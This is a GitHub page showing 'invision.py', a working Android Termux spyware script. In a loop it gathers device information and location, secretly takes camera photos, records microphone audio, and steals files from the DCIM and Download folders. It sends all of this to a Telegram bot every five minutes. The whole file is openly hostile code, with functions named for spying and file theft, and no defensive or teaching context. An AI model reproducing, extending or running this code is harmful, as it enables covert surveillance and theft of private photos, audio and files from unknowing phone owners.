-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathinvision.py
More file actions
executable file
·84 lines (74 loc) · 2.35 KB
/
invision.py
File metadata and controls
executable file
·84 lines (74 loc) · 2.35 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
import os
import socket
import requests
import time
from datetime import datetime
import json
# Load config from file
with open("config.json") as f:
config = json.load(f)
TOKEN = config["token"]
CHAT_ID = config["chat_id"]
def send_msg(text):
try:
url = f"https://api.telegram.org/bot{TOKEN}/sendMessage"
data = {"chat_id": CHAT_ID, "text": text}
requests.post(url, data=data)
except Exception as e:
print(f"[x] Message error: {e}")
def send_file(file_path, file_type="document"):
try:
files = {file_type: open(file_path, 'rb')}
url = f"https://api.telegram.org/bot{TOKEN}/send{file_type.capitalize()}?chat_id={CHAT_ID}"
requests.post(url, files=files)
except Exception as e:
print(f"[x] File send error: {e}")
def get_location():
try:
return os.popen("termux-location").read()
except:
return "Location not available."
def take_photo():
try:
os.system("termux-camera-photo -c 1 /sdcard/spyshot.jpg")
send_file("/sdcard/spyshot.jpg", "photo")
except:
pass
def record_audio():
try:
os.system("termux-microphone-record -l 10 /sdcard/spyaudio.wav")
send_file("/sdcard/spyaudio.wav", "audio")
except:
pass
def steal_files():
try:
paths = ["/sdcard/DCIM/", "/sdcard/Download/"]
for path in paths:
files = os.listdir(path)
for f in files[:2]: # limit to 2 files per folder
full_path = os.path.join(path, f)
if os.path.isfile(full_path):
send_file(full_path)
except Exception as e:
print(f"[x] File theft failed: {e}")
def get_device_info():
info = "[🕵️ INVISION REPORT] - {}\n".format(datetime.now())
try:
hostname = socket.gethostname()
ip = socket.gethostbyname(hostname)
battery = os.popen("termux-battery-status").read()
location = get_location()
info += f"📱 Hostname: {hostname}\n🌐 IP: {ip}\n🔋 Battery:\n{battery}\n📍 Location:\n{location}"
except Exception as e:
info += f"\n❌ Error: {e}"
return info
def main_loop():
while True:
report = get_device_info()
send_msg(report)
take_photo()
record_audio()
steal_files()
time.sleep(300)
if __name__ == "__main__":
main_loop()